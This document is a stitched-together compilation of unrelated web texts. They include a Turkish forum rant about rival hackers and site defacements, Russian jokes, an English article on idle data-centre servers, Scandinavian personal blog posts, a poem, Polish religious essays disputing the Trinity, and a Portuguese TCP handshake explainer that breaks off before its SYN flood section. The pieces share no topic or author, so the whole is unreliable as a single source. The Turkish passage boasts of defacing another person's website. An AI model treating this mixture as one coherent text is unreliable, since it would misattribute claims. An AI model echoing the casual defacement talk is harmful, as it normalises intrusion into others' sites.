S.a Arkadaşlar. Bu Öküz Oglu öküz Güya Benım Eski Sitem Olan(Domain Süresi biten) TrSniper.us Heyklemiş

Bu Malın Kuyruk Acısı Var. Sitesine Amb4rgo.Us A Basmıştık Özdenc,Ben Ariz0na Falan.

Herneyse. Geldi Msnden Siteme Üye Olurmusun Dedi Bende Tamam dedim

Sitesini Gezerken Şu Acıklamayı Okudum

BlackHatz Lamers FuckedZ :

TrSniper : Cyber-Ruzgar.Com : TrSniper.Us

KiLLeR-Ex : ShowHack.Org

OzdenC : OzdenC.turkblog.com

Hani Zoneleri Nerde? Ayrıca O turkblog.com Kendı Açıp Heykliyor :d

Söz Sizin?

Очередь в лавке. Парень лет 20, коренастенький дедок лет 80 а также я.

Парень кокетничает с продавщицей (молоденькая мадам), вешает лапшу ей на уши а также т. д. Дедок некое время глядит, а позже говорит:

- Слышь, сын, бери что нужно а также вали – никак не задерживай.

- Да я вот даму отобрать желаю, а она никак.

- Ну а также фиг с ней – поди в смежный отдел отбери (там тоже стоит мадам – тоскует, людей нет) а также никак не фиг очередность создавать!

Паренек скоро окидывает соседнюю женщину взором а также громким шепотом деду:

- Бать, я б отобрал ту, правда уж больно страшная…

- Сопляк! Я полковник КГБ, а также никак не таковых ужасных брали…

Служебное дело

Приехали с ином (он обожает изображаться сотрудником милиции, ФСБ, ОБЭП) посидеть в кафе из-за мегаполисом, на местности "дома отдыха". Вход на местность небесплатный. Проходная, кассир.

Кассир, мужичок с хитрецкими глазами:

- Ребята, ввод платный!

- А че – И СОТРУДНИКАМ МИЛИЦИИ, ЧТО ЛИ?!

- А какая разница?

- А мы сообразно казенному делу!

- А какое у вас ЗДЕСЬ имеет возможность существовать казенное дело?

Мы теснее осознаем, будто безвозмездно никак не пройдем, однако приятель выдает в отсутствии запинки:

- Да у вас здесь кассира на анадромный УБИТЬ ХОТЯТ!

One-sixth of the world’s servers — computers that run web services — are not being used at all, wasting $24.7 billion a year, including $3.8 billion in energy-related costs, according to a new report published Thursday. Researchers at the Alliance to Save Energy, Kelton Research and 1E, a software IT company, found through surveys of server managers and analysis of industry data that out of the world’s 44 million servers, roughly 4.7 million of them are idle and not doing necessary work.

The problem is that most servers are housed in data centers, into which server managers have a hard time peering in order to see which ones are being productive and which ones aren’t. In the meantime, servers that aren’t doing useful work, but are still on, are still sucking power — usually as much as a highly productive server. Without the proper data, server managers are hard-pressed to turn off company servers if there’s a remote chance that they might be needed for something.

Here’s one solution, also brought to you by one of the report sponsors, 1E. It launched on Thursday its power management software for servers, which the company says uses smart algorithms to determine which servers are doing useful work and which ones aren’t, as well as how much energy they’re using and when. IE also says its “NightWatchman Server Edition” can power down servers into a drowsy state, cutting their energy use by 12 percent.

1E has been selling its power management software for PCs for over a decade, and counts among its customers AT&T (s T), Verizon Wireless (s VZ) and HSBC. 1E’s CEO Sumir Karayi even claims the company invented the PC power management sector. Based in London and New York, the company has been bootstrapped since its founding.

Clearly 1E’s tools are just one company’s solution to the idle server problem. Making data centers more green and bringing down the energy costs and carbon footprints of the Internet has emerged as a hot trend (read about green data center design strategies on our subscription research service, GigaOM Pro). Other companies are focusing on virtualization server software, wireless sensor networks in data centers, energy efficient server and storage hardware, and finding low-hanging fruit like using free outside air cooling.

Image courtesy of 1E.

Jeg trenger virkelig briller

Idag fikk jeg endelig surret meg til optikeren. Mannen min har mast de siste årene, men det har vært en stor terskel for meg, og det har liksom aldri passet å gjøre det. Der fikk jeg bekreftet at jeg omtrent trenger hvit stokk når jeg leser. Ikke rart at bokstavene ikke er på min side og at jeg har slitt med migrene. Skrev vel egentlig noe om det på ABC nr 1 for bokstaven B
Resultatet ble i hvertfall at jeg er + 2,25 på begge øynene samt en liten skjevhet. Ikke rart det blir litt krøll med rettskrivingen også.

   Min yngsta bebis vid 8 mån, var ganska trött i ögonen, röd och trött omkring ögon, och då och då skelade lite, så klart ordnade jag att han skulle gå till optometrist via vårdcentralen, och så klart min lil´ängel med 9 mån, behövde glasögon. aww vad han ser gullig med sin intellektuell.  Ja, jag var skeptisk att han skulle låta bli glasögon men jag var imponerat att han accepterade de, jag menar så klart han tog de många gånger i början men det var spännande för han insåg att han såg bättre genom att använda de, och han var glad att ha de på. Det var otrolig att han lärde sig att gå (han gick väldig tidig när han var 9mån) utan att se så bra och kunde  springa och allt, så om du tror att din bebis kan ha nån syn problem, prata gärna med din barnmorska på vårdcentralen, för bebisar är väldig duktiga och kan göra grejer utan att behöva så mycket, eller utan att man kan märka nån direkt.

I alla fall, varför skriver jag den här artikeln? nej, det är inte att blabla om min bebis glasögon utan att tänka på  VAD DYR DET ÄR ATT HA ETT BARN MED SYNPROBLEM!!! Aså!..så fort jag fick recepten för glasögon gick direkt till optiken för att beställa de; jag köpte den vanligaste, normala Svenssons barnglasögon och betalade 2700kr!  (**Ouch, där gick semestern) jag undrar, hur många kan ha råd för att skaffa t.e. brillor plötslig, att bara öppna plånboken och “voilá”, och t.e. min “gubbe” kommer nu att byta formel, så en smisk till för min plånbok.

En fråga är: varför finns inte ett sätt att hjälpa barn som behöver glasögon? aså.. som ett bidrag, det är en del av hälsa som är jätte viktig, om mitt barn skulle inte ha sina glassögon, skulle hans syn bli värre, och för så små ålder, kan påverka att han bli jätte trött när de börjar skolan, skaffa huvudvärk för anstränger synet, b.a., jag förstår att t.e. finns några “glada” männinskor som vill ha “fendi” eller “prada” “hugo boss” brillor för kanske offentliga pengar, men om bara kristallen skulle bara täckt det skulle hjälpa väldig mycket, utan att få lån eller riskear att låta nån bara obetalt. Så kallar mig gammaldags, men hälsa har inga pris, särskild för barn, aså… man får nudag skattepengar tillbaka för att renovera huset, men att skaffa glasögon för ett barn man måste betala fullpris från egen fickan; det är lätt att tänka sig  att vara kapitalistisk, hurrå hurrå hurrå för moderaters politiker om sänka skatt till “0″  när man är vid 25års ålder utan familj och ha “krokodilers händer” (du vet då är så korta så de uppnår inte till fikorna.. eller i bättre svenska  ETT MURKEN SNÅL) men efter man tänka sig om vi alla kommer (sooner or later) att behöva från samhället, att eventuell man kommer nån gång att behöva försäkringskassan, vårdcentralen, skaffa barn, familj, barn bli sjuka, etc. det är en liten nåt att tänka på.

   I så fall, jag är glad  att min lil´gullig unge har sina glassögon, och om du har inte råd för att betala glassögon, spara eller offra nåt, det är viktig, med hälsa man får aldrig leka eller försena…! lycka till…

“Det är ju inte som om jag är sjuk på riktigt. Jag har ju kunnat blogga varje dag, till exempel.”

Just de orden intalade jag mig själv igår, och visste inte hur snart jag skulle få äta upp det. Efter tre veckors obestämbar halsinfektion har jag börjat tröttna rejält, så igårkväll bestämde jag mig för att ignorera tröttheten och ge mig ut på en kvällspromenad i skogen. Det var helt fantastiskt och jag mådde som en prins – tills jag vaknade imorse och verkligen var sjuk på riktigt. Egentligen borde jag ha stannat i sängen hela dagen, men jag tog mig på något sätt till psykologen och hem igen. Det var såklart jobbigt, men det gick.

Hursomhelst har jag i min feberyra hunnit tänka en hel del på det där med just sjukdom. Det sägs att personer med autism har mindre autistiska symtom när de har feber, och det finns en undersökning som på sätt och vis bekräftar det: En grupp barn med olika autismspektrumdiagnoser visade sig ha färre avvikelser från det “normala” (det neurotypa, icke-autistiska) på vissa beteendeområden när de hade feber, jämfört med när de var friska. De områden det gällde var irritabilitet, hyperaktivitet, repetitivt beteende och avvikelser i talat språk, och när de blev friska gick de alltså tillbaka till det gamla beteendet.

Det kanske inte är så konstigt att man är mindre hyperaktiv och gör färre stereotypa rörelser och liknande när man är sjuk; är man trött orkar man helt enkelt inte göra så mycket. Att ha feber gör i alla fall mig lugn – för lugn. Folk kan säga att jag verkar vara ovanligt samlad och fokuserad när jag själv känner precis raka motsatsen. På väg till psykologen idag klev jag rakt ut i gatan så en bil fick tvärbromsa. Jag skulle gå över och stannade, men trodde att jag var kvar på trottoaren när jag i själva verket var en halvmeter ut i körbanan. På vägen hem gick jag in i en hög buske som hängde ut över trottoaren, som jag inte la märke till förrän den slog mig på armen och nästan i ansiktet. Den typen av händelser är mer regel än undantag när jag är trött – och det är det som är grejen, tror jag.

Jag är en mästare på att fejka koncentration, i synnerhet när jag är okoncentrerad. När jag är sjuk eller trött tar jag in färre intryck från omgivningen, och det är därför jag kan se ut som om jag är ovanligt koncentrerad och samlad när jag i själva verket knappt är medveten om världen. Min hjärna behöver egentligen gå på högvarv för att klara av sånt som att hålla sig på trottoaren och väja för hinder, och det är samma funktion som gör att tanken lätt vandrar iväg, att jag så ofta avbryter människor, att jag gör tusen saker samtidigt.

När jag är sjuk går hjärnan på lågvarv: En sak i taget, för fler orkar jag inte. Sinnena trubbas av och jag tar inte längre in precis allt som händer. Kanske är det så de bokstavslösa är för jämnan, fast inte riktigt lika mycket. Uppenbarligen klarar de flesta av dem av både att gå rakt och att upptäcka busken innan den attackerar. Fast det är klart: de har många års träning bakom sig, och kanske inte ens vet något annat. Mina neurotypa symtom försvinner när jag tillfrisknar, som tur är – för om det är såhär det är att vara “normal” förstår jag inte riktigt hypen.

Läs även andra bloggares intressanta åsikter om autism, Aspergers syndrom, feber, sjukdom, funktionsnedsättning, koncentration, hyperaktivitet, perception, intryck, uppmärksamhet, trötthet, influensa, lugn, psykologi, neurotypi

All I see around me is the color of disdain

The stains of derision splotching my vision

Disparagement shrouding my peace

Release from scorn would be air: reborn

But disregard pulls at my spirit

Much too much condescension, I can hear it

I despise the disrespect elicit from the walls of my existence

So I must start a resistance to the chaos that fills my world

Witaj!

Czy myślałeś kiedyś o tym, że powrót jest możliwy?

Zawsze można wrócić do domu, do Kościoła katolickiego. To prawda, że droga do domu może być długa i trudna, a nawet bolesna, może być też szybka i łatwa, ale można to zrobić, powrót jest zawsze możliwy. Dobry Bóg chce, aby każdy kto się oddalił wrócił do Jego domu.

Pomyśl na chwilę o Chrystusowej przypowieści o synu marnotrawnym (por. Ewangelia wg św.  Łukasza 15, 11 – 32). Młody człowiek odszedł od ojca, pewny, że robi dobrze. Pewnego dnia jego serce powiedziało mu, że nie postąpił dobrze i postanowił wrócić do domu. Na początku był pełen wątpliwości, czy jego ojciec przyjmie go z powrotem.

Ta historia ma happy end. Nie tylko ojciec powitał syna w domu, ale i inni z radością świętowali to wydarzenie!

Możesz być pewien, że aniołowie i święci w niebie (nie wspominając o  kilku świętych tu na na ziemi) będą się cieszyć z tego i będą prawdziwie szczęśliwi w dniu, gdy powrócisz do domu, do Kościoła katolickiego.

Czy chciałbyś wrócić? Pomyśl o tym…

Pozdrawiam Cię serdecznie,
Grzegorz <><

JHWH - imię należące do Boga, które w formie prostej występuję w Biblii 5790 razy. Odnosi się wyłącznie do Ojca. W języku polskim odczytywane jest jako Jahwe lub Jehowa.

Nauka o Trójcy jest ogłaszana przez chrześcijan na całym świecie. Pismo Święte mówi jednak, że jest tylko jeden Bóg [z którego wszystko]. Jezus nazywał Boga swoim Ojcem, a o sobie mówił, że jest Synem Bożym. Ojciec znaczy życiodawca. Syn jest potomkiem, czyli tym, który otrzymał życie od Ojca. Nasz Mistrz mówi o sobie słowami: “Jam od Boga wyszedł i przyszedłem” (Ewangelia wg Jana 8:42)

Jezus w przedludzkim stanie był Logosem, to jest Słowem, czyli wykonawcą słowa u Ojca; i jako taki On był nazwany Bogiem, ale nie Bogiem Ojcem. W kwestii tak ważnej jak równość Ojca i Syna, nie powinniśmy polegać na innych ludziach i ich naukach, lecz tylko na natchnionych pisarzach Pisma Świętego. Nie powinniśmy przyjmować żadnego dogmatu nie mającego poparcia Słowa Bożego. Zapytajmy Jezusa. Jego odpowiedzią jest: “Ojciec mój większy jest niż Ja“; “Nie mogęć Ja Sam od Siebie nic czynić; jako słyszę tak sądzę“; “Ojciec Mój, który Mi je dał, większy jest nad wszystkie“; “Wstępuję do Ojca Mego i Ojca waszego, do Boga Mego i Boga waszego“; “Toć jest żywot wieczny, aby Cię poznali Samego prawdziwego Boga i któregoś posłał Jezusa Chrystusa” - Ewangelia Jana 14:28; 5:30; 10:29; 17:3; 20:17.

Jezus był pierwszym stworzeniem Bożym; jedyną istotą stworzoną wprost przez Boga JHWH i wszystko inne Bóg stwarzał przez Syna. Czytamy, że Jezus był “początkiem stworzenia Bożego“; “pierworodnym wszystkich rzeczy stworzonych“; “Alfa i Omega, początek i koniec, pierwszy i ostatni“; czyli jedyny bezpośrednio przez Ojca stworzony (Objawienie 3:14; 22:13; Kol.1:15). Apostoł Jan mówi (Ew. Jana 1:1-3) “Na początku [nie Boga, bo Bóg nie miał początku, ale na początku dzieła stwarzania] było Słowo [gr. Logos], a ono Słowo było u Boga, a Bogiem było ono Słowo. Wszystkie rzeczy przez nie się stały, a bez Niego nic się nie stało, co się stało“. Czy przedmiot ten można określić wyraźniej? Po cóż czynić niepotrzebne zamieszanie? Po co zwalczać tak wyraźne świadectwa Słowa Bożego, a podtrzymywać teorię uformowaną w wiekach ciemnoty, której brak biblijnego poparcia?

Pismo Święte uczy, że Pan Jezus zstąpił z nieba na ziemię; że narodził się z panny; że “Ono Słowo [Logos] stało się ciałem i mieszkało między nami” i że uczniowie Jego widzieli “chwałę Jego, chwałę jako Jednorodzonego od Ojca pełnego łaski i prawdy” (Ew. Jana 1:14). Jezus nie miał dwóch natur, lecz jedną, ponieważ wyższą, duchową naturę zamienił na ludzką. Pismo Święte mówi wyraźnie, że będąc bogatym stał się ubogim, abyśmy ubóstwem Jego ubogaceni byli (2Kor.8:9). Mówi także, iż gdy Jezus wzrastał do męskiej dojrzałości, pomnażał się w łasce u Boga i u ludzi; że był doskonały – “święty, niewinny, niepokalany, odłączony od grzeszników” – Łuk. 5:52; Żyd.7:26.

Jezus stał się Nowym Stworzeniem

W trzydziestym roku życia, ten doskonały Jezus, doszedłszy do męskiej dojrzałości według Zakonu, poświęcił Swoje życie Bogu, jako wielka ofiara za grzech ludzkości, wypełniając Pismo: “Aleś Mi ciało sposobił“, “na ucierpienie śmierci” (List do Żydów 10:5;2:9). Tę dobrowolną ofiarę Człowieka Jezusa Bóg przyjął i to Swoje przyjęcie okazał zaraz przy Jordanie, gdy pomazał Jezusa Duchem Świętym. Od tej chwili Jezus oprócz doskonałości ludzkiej posiadał także z ducha spłodzony umysł. Był Nowym Stworzeniem i jako Nowe Stworzenie miał dokonać ofiary Swego ciała a Jego nowy umysł, Nowe Stworzenie, miało się udoskonalić. Jezus modlił się, aby była przywróconą Mu ta chwała, którą miał u Ojca “pierwej niżeli świat był” (Ew. Jana 17:5). W pokorze Swej Jezus nie prosił o większą chwałę. Gdy dokonał Swej ofiary na Kalwarii, jego nowy umysł, Jego z ducha spłodzona nowa natura, otrzymała przy zmartwychwstaniu nowe ciało, jakie Ojciec obiecał. “Wsiany w niesławie“, został “wzbudzony w chwale“; “wsiany w słabości“, został “wzbudzony w mocy”; było wsiane “ciało cielesne, lecz zostało wzbudzone ciało duchowe” – 1 list do Koryntian 15:43,44

Nasz Pan jako [naj]pierwsze stworzenie, nie był stworzony w taki sam sposób, jak Aniołowie; albowiem był On bezpośrednim stworzeniem Ojca, Aniołowie zaś byli stworzeniami Bożymi pośrednio, czyli stworzeni przez Syna. Św. Paweł oświadcza, iż wszystkie rzeczy są z Ojca i przez Syna  (1Kor.8:6). Ten Syn był wykonawcą całego dzieła stwarzania.

Jezus stał się Chrystusem, czyli Pomazańcem, gdy został pomazany Duchem Świętym przy chrzcie. Udoskonalonym jako Chrystus był przy zmartwychwstaniu. On był bogiem (słowo bóg znaczy możny), zanim przyszedł na świat; był także bogiem od czasu, gdy otrzymał spłodzenie z Ducha Świętego przy Jordanie i jest dotąd bogiem siedzącym po prawicy Ojca. Lecz nie jest Bogiem (w takim znaczeniu jak jest Ojciec), nigdy nim nie był i nigdy nie będzie. Zauważmy ponownie Jego słowa, które po Swoim zmartwychwstaniu wypowiedział do Marii Magdaleny: “Wstępuję do Ojca Mego i Ojca waszego, do Boga Mego i Boga waszego” (Ew. Jana 20:17). Posłuchajmy, co mówi Apostoł Paweł: “My mamy jednego Boga Ojca, z którego wszystko (…) i jednego Pana Jezusa Chrystusa, przez którego wszystko” (1Kor.8:6). Na innym miejscu ten Apostoł, mówiąc o Bogu JHWH:  “Bóg i Ojciec Pana naszego Jezusa Chrystusa” i znowu: “Bóg Pana naszego Jezusa Chrystusa” – 2 list do Kor. 1:3; List do Efezów 1:3,17

Ogólnie uznawane, lecz niebiblijne pojęcie

Pan Jezus nie jest drugą osobą w Trójcy. Słowo “Trójca” jest niebiblijne i niebiblijnym jest również znaczenie tego słowa. Św. Paweł określa tę sprawę wyraźnie w słowach powyżej zacytowanych. Mówi także, iż Jezus nie pożądał przez “drapiestwo równym być Bogn, ale wyniszczył Samego siebie” (List do Filipian 2:6,7). Powyższy tekst, gdy właściwie jest tłumaczony, nie nasuwa myśli, iż Jezus uważał się równym Bogu Ojcu, ale raczej myśl przeciwną temu. W zwykłym tłumaczeniu myśl tego tekstu została oddana mylnie. Lecz gdy się zauważy cały ten argument Apostoła, można łatwo zauważyć, że Apostoł wykazuje tu uniżenie się Chrystusa, a nie że On rościł sobie pretensję równym być Bogu.

Słowa “Trójca” niema w całej Biblii. Jedyny tekst, który jakoby podtrzymywał myśl o Trójcy, uważany jest nawet przez samych trynitarzy za fałszerstwo, dodane do tekstu, gdzieś około piątego wieku. Ten dodatek stanowi część pierwszego listu Jana 5:7,8. Cytujemy cały ten ustęp, stawiając fałszywy dodatek w nawiasach: “Albowiem trzej są, którzy świadczą (na niebie: Ojciec, Słowo i Duch Święty, a ci trzej jedno są. A trzej są, którzy świadczą na ziemi) Duch i woda i krew, a ci trzej ku jednemu są“. Słowa, które powyżej umieściliśmy w nawiasach, są uznawane za fałszywy dodatek. W taki sposób uznawali je m.in. Izaak Newton, Richard Benson, Adam Clarke, Johann Griesbach, Konstanty Tischendorf i Henry Alford.

Był czas, gdy Bóg JHWH był tylko Sam, gdy nie było nikogo więcej, nawet Jezusa. Jakże inaczej mogłoby Pismo Święte mówić, że Jezus był “początkiem stworzenia Bożego“? (Objawienie 3:14). Co za wartość miałby język, gdybyśmy słowom nie nadawali ich rzeczywistego znaczenia? Nie ulega wątpliwości, że Jezus miał początek. Ten początek był wiele wieków przedtem, zanim On przyszedł na ziemię jako człowiek, aby umrzeć za Adama i za cały jego rodzaj.

Logos przemieniony na istotę ziemską

Jezus zanim przyszedł na świat posiadał naturę niebieską. On naturę tę zamienił na ziemską, aby Swoje ciało, Swoje człowieczeństwo mógł złożyć na okup za grzechy całego świata. Dokonawszy tego wielkiego dzieła, Jezus został przez Ojca wyniesiony do stanowiska i natury wyższej aniżeli miał poprzednio; pomimo, że Jego poprzednie stanowisko było zaraz następne po Ojcu. Św. Paweł opisuje stanowisko, które Jezus otrzymał po zmartwychwstaniu, w następujący sposób: “Dlatego też Bóg nader Go wywyższył i darował Mu imię, które jest nad wszelkie imię; aby w imieniu Jezusowem wszelkie się kolano skłaniało, tych, którzy są na niebiesiech i tych, którzy są na ziemi i tych, którzy są pod ziemią [tych, co są w grobach, lecz mają powstać aby poznać prawdę, która jest w Jezusie] a wszelki język, aby wyznawał, że Jezus Chrystus jest Panem ku chwale Boga Ojca” – List do Filipian 2:9-11.

Jezus, gdy był na ziemi, nie był człowiekiem grzesznym, w żadnym znaczeniu tego słowa. Jego narodzenie z Panny Marii było cudownym. Jego święte życie zostało przeniesione do stanu ziemskiego. On stał się człowiekiem – “Świętym, niewinnym, niepokalanym, odłączonym od grzeszników“, a przeto odpowiednim, aby być wielką ofiarą za grzech, tak za Adama jak i za całe jego potomstwo. Do czasu Swego chrztu w Jordanie, był tylko człowiekiem Jezusem, lecz pomazanie, jakie tam otrzymał uczyniło Go Pomazańcem Bożym, Chrystusem, Mesjaszem.

Stał się uczestnikiem Boskiej natury

Jezus był bogiem, czyli istotą potężną, Władcą wyższym od Aniołów, zanim stał się człowiekiem. Gdy się narodził jako dziecię, nie był bogiem, lecz istotą ludzką; także jako doskonały człowiek, w trzydziestym roku życia, nie był bogiem. Lecz gdy został pomazany Duchem Świętym, czyli mocą Bożą, Jezus stał się znowu Możnym, mocą tego spłodzenia z Ducha Świętego. Od czasu Swego zmartwychwstania On jest bogiem większym aniżeli kiedykolwiek przedtem, “uczestnikiem Boskiej natury“; a Jego Kościół jest powołany do tej samej chwały, aby był wraz z Nim, podobny Jemu, jako Jego Oblubienica, członkowie Jego chwalebnego ciała – 2 list do Tesaloniczan 2:14; 1 list Jana 3:2; Objawienie 21: 2,9; 22:17; 1 list do Koryntian 10:16,17; 12:12,13,27; 2 list Piotra 1:4.

Nasz Pan jest Głową Swego Kościoła, a Głowa i ciało muszą być uczestnikami tej samej natury w chwale. Jezus wydał Swoją naturę ludzką na śmierć, aby odkupić rodzaj ludzki. Przez części trzech dni On był umarły w grobie – nie będąc żywym w jakimkolwiek znaczeniu; ponieważ śmierć jest zupełnym pozbawieniem życia. Jezus złożył Swe życie ludzkie, aby go nigdy więcej z powrotem nie otrzymać. Ono było okupem za świat. Jezus wzbudzonym został do Boskiej natury, co było wywyższeniem, jakiego żadne stworzenie Boże przedtem nie dostąpiło. Oblubienica Jego powołana jest do tej samej chwalebnej natury, co Chrystus, w którego dziedzictwie ma uczestniczyć. Jezus był wzbudzony od umarłych mocą Bożą – List do Rzymian 6:4; 8:11; Dzieje Apostolskie 2:22,24,32,33

Mylny pogląd Trynitarzy

Zauważmy na chwilę od jak wielkiego zamieszania jesteśmy zachowani przez przyjęcie biblijnego świadectwa odnośnie Pana Jezusa i przez odrzucenie niedorzecznych nauk średniowiecznych. Jesteśmy uwolnieni od myślenia, że nasz Bóg jest trzema osobami w jednym ciele, albo jedną osobą w trzech ciałach. Trynitarze nie wiedzą, które z tych określeń byłoby właściwsze – niektórzy używają jedno, a inni drugie. Lecz oba są w zupełności błędne; ponieważ trzy nie mogą być jednym, a jeden nie może być trzema. Jedność pomiędzy Ojcem i Synem była wytłumaczona przez Samego Pana. On modlił się, aby Jego uczniowie stali się jednym w takim samym znaczeniu jak On i Ojciec byli jednym – rozumie się więc samo przez się, że Jezus nie prosił, aby Jego uczniowie stali się jedną osobą, ale aby byli jednym w duchu, w umyśle i celu, tak jak był Jezus z Ojcem (Ew. Jana 17:20-23). Naśladowcy Jezusa stają się jednym w umyśle i celu wtedy, gdy wyrzekają się swej woli, aby czynić wolę Bożą. A Jezus i Ojciec są jednym, ponieważ Jezus poddał Swoją wolę pod wolę Ojca, mówiąc: “Nie Moja wola ale Twoja niech się stanie“. “Przyszedłem nie, abym czynił wolę Swoją, ale wolę Onego, który Mnie posłał“. “Oto idę, abym czynił, o Boże, wolę Twoją“. To są słowa Jezusowe wypowiedziane do Ojca.

Opisując powstanie poglądu Trynitarzy, religijna encyklopedia Abbotta i Conanta, na str. 944, podaje: “Pojęcie Trynitarzy zaczęło się uwydatniać i formować w doktrynę dopiero na początku czwartego stulecia. Około tego czasu podjęto starania, aby naukę tę pogodzić z wierzeniem kościoła w jednego Boga. Z tych zabiegów rozwiązania tego problematu, wypłynęła doktryna o Trójcy. Trójca jest znamienną charakterystyką Hinduizmu, a spotyka się ją także w mitologiach Perskiej, Egipskiej, Rzymskiej, Japońskiej i najstarszej Greckiej“.

Protestanci, pomiędzy wielu innymi naukami zapożyczonymi od papiestwa, przyjęli także naukę o Trójcy, pomimo, że jej najuczeńsi zwolennicy wiedzą dobrze o tym, że niema ona poparcia ani jednego tekstu Pisma Świętego. Ktokolwiek by nie wyznał tej niebiblijnej nauki i nie wierzyłby w nią, tego artykuły Związku Ewangelickiego uznają za nieprawowiernego – za heretyka. List do Żyd.1:8 używany jest przez Trynitarzy za dowód, że Jezus jest Jehową. Twierdzenie swoje opierają na tym, że słowo Bóg w tym tekście przetłumaczone jest z greckiego “theos“, tak samo jak w wierszu 9, gdzie podobne słowo zastosowane jest do Ojca. Nie chcą widać zauważyć, że słowo bóg, w 2Kor.4:4, które stosuje się do szatana, przetłumaczone jest również z greckiego theos. Theos jest zastosowane do każdego mającego pewną władzę, tak samo jak elohim używane jest w języku hebrajskim.

Filip.2:8 i 9 wskazuje, że obecna chwała naszego Pana jest większa aniżeli ta, którą miał zanim stał się człowiekiem. Gdyby tak nie było, to nie można by tego nazywać wywyższeniem. Jezus, będąc teraz w naturze Boskiej, nieśmiertelnej, nie może więcej umrzeć. “Chrystus więcej nie umiera“. Jak prostym, zrozumiałym i logicznym jest świadectwo Pisma Świętego, w porównaniu do ludzkich tradycji! W jaki odmęt sprzeczności i zamieszania wchodzą ci, co głoszą, że Jezus i Ojciec są jednym Bogiem! Takie pojęcie obejmowałoby w sobie mniemanie, że nasz Pan odgrywał obłudną rolę, gdy był na ziemi; że tylko udawał, iż modlił się do Boga, jeżeli On Sam był tymże Bogiem. Obejmowałoby także myśl, iż ponieważ jest napisane, że Bóg nie może być kuszony, przeto kuszenie Jezusa przez szatana byłoby tylko obłudną komedią. Inna jeszcze rzecz; Bóg Ojciec był zawsze nieśmiertelny, z tego wynika, że nie mógłby umrzeć. Jakżeż tedy mógłby Jezus umrzeć, jeżeli był takim samym Bogiem? Wszyscy Apostołowie byliby fałszywymi świadkami w ich głoszeniu, że Jezus umarł i zmartwychwstał, jeżeli On nie umarł. Pismo Święte wszakże mówi wyraźnie, że On umarł – “wylał na śmierć duszę Swoją“, a nie tylko ciało, jak to wielu twierdzi – Iz.53:12.

Przyznając, że Jezus w rzeczywistości umarł, Trynitarze wchodzą znowu w drugi koniec odmętu; ponieważ, jeżeli Bóg składa się z trzech osób, jak oni mówią, to gdy Jezus umarł, wszystkie trzy osoby musiały umrzeć. Jeżeli wszystkie trzy umarły, to kto przyprowadził ich ponownie do życia? Jak niedorzecznym to wszystko się słyszy! Zaiste, jeżeli Jezus i Ojciec są jedną i tą samą istotą, to gdy Jezus umarł, Ojciec także musiałby umrzeć. Czyż mamy w ten sposób zadawać kłam Apostołom, prorokom i samemu Jezusowi i czy mamy ignorować nasz rozum i zdrowy rozsądek, aby tylko podtrzymać błędny dogmat podany nam z ciemnej, zabobonnej przeszłości przez odpadły kościół? Nie! “Do zakonu raczej i do świadectwa (Pisma Świętego); ale jeźli nie chcą, niechże mówią według słowa tego, w którym niemasz żadnej zorzy” – Proroctwo Izajasza 8:20.

Świadectwo Biblii o Duchu Świętym

Teraz dowiedzmy się, co Pismo Święte mówi o Duchu Świętym? Kościoły nominalne jak protestanckie tak i Katolicki, twierdzą, że Duch Święty jest osobą, trzecią osobą w Trójcy. Mówią też, że to wszystko jest “wielką tajemnicą“. Zaiste, jest to tajemnica, której podobnymi odznacza się cała zamieszana i przez ludzi ułożona teologia Babilonu. Lecz dla tych, co udają się do Słowa Bożego o potrzebną informację, wszystko jest jasne i wyraźne. Za właściwe można uznać tylko takie określenie Ducha Świętego, które by odpowiadało i harmonizowało wszystkie Pisma, które o Nim mówią. Jest takie określenie, które można zastosować, by każdy werset Biblii był ze sobą zgodny.

Pismo Święte uczy, że Duch Święty jest to Boska wola, wpływ, moc albo usposobienie, które działają wszędzie, w różnoraki sposób, według Boskiego upodobania. Bóg używa Swego Ducha, czyli Swą energię w różny sposób, posługując się różnymi przewodami i osiągając różne rezultaty. Cokolwiek Bóg czyni przez pewne przewody, jest tak samo Jego dziełem jakby to czynił wprost, ponieważ wszystkie te przewody są Jego tworem – stworzone Jego mocą; podobnie jak o budowniczym wyrażamy się, że zbudował dom, chociaż on sam może przy budowaniu tego domu nie dotknął się żadnego narzędzia. On jednak zbudował dom, przez swój materiał i swoje przewody, którymi są robotnicy, maszyny itp. Podobnie, gdy czytamy, że Bóg stworzył niebo i ziemię, nie powinniśmy przypuszczać, że On osobiście to formował. Należy raczej rozumieć, iż użył do tego pewne przewody. “On rzekł i stało się, rozkazał i stanęło“. Boska święta moc działała przez Jego Jednorodzonego. Duch Boży działał w dawnych czasach także przez proroków. “Od Ducha Świętego (mocą Bożą) pędzeni będąc mówili święci Boży ludzie“. Zaimek męski jest często zastosowany do Świętego Ducha Bożego, ponieważ słowo Bóg, który jest Duchem, jest rzeczownikiem rodzaju męskiego. Jednakowoż wszędzie, gdzie słowo Duch Święty użyte jest samodzielnie (gdzie nie jest stosowane do duchowych istot) ono nie powinno mieć zaimka rodzaju męskiego, ponieważ nie określa osoby, lecz moc, wpływ, wolę, usposobienie itp.

–

Powyższa notka jest przeredagowaną, polską wersją artykułu “Jehovah Our God Is One”, który Pastor Charles Taze Russell napisał w roku 1915. To jeden z wielu świetnych tekstów tego autora, które przeczytać można w czasopiśmie Straż.

• POLECAM:
  “Pojednanie między Bogiem a człowiekiem“, Charles T. Russell

Para entender o Syn Flood é preciso, mesmo que rapidamente, falar um pouco do TCP.
O protocolo TCP é orientado a conexão: primeiro cliente e servidor se conectam e somente após esta etapa é que os dados podem ser trocados. Semelhante a um casal, “só podem ter filhos se fizerem sexo”.

A etapa de “discar” no TCP é chamada de handshake de três vias e os flags TCP são usados para sinalizar qual etapa se está realizando. Antes de qualquer bit de dados, a seguinte troca de pacotes acontece entre cliente e servidor:
1. O cliente envia uma solicitação de conexão, com um pacote TCP sem dados, possuindo o flag de SYN ligado e os demais desligados. Por causa da presença do flag de SYN, este pacote é conhecido como pacote SYN
2. Se o servidor quiser e puder atender, devolve um pacote ao cliente ainda sem dados, com os flags de SYN e de ACK ligados. Esta segunda etapa é conhecida como SYN/ACK.
3. Se o cliente ainda quiser manter a conexão, devolve ao servidor um terceiro pacote sem dados, apenas com o flag de ACK ligado (SYN desligado).
Somente após a terceira etapa é que os dados podem ser trocados.
O mais importante para entender a gravidade do ataque é saber que o servidor, ao receber o primeiro pacote (SYN), se ele quiser atender (exemplo: serviço HTTP, porta 80), precisa antes de responder com o SYN/ACK, alocar recursos de hardware para atender esta nova conexão.
